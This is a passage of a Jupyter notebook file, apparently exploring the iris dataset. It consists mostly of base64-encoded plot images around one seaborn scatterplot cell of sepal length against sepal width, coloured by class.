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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "sns.scatterplot(x='Sepal length',y='Sepal width',data=df,hue='Class')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 300 + }, + "id": "oRe2lZytsVeJ", + "outputId": "dd15c282-bf6c-4b20-b934-b9215661f371" + }, + "execution_count": 12, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 12 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "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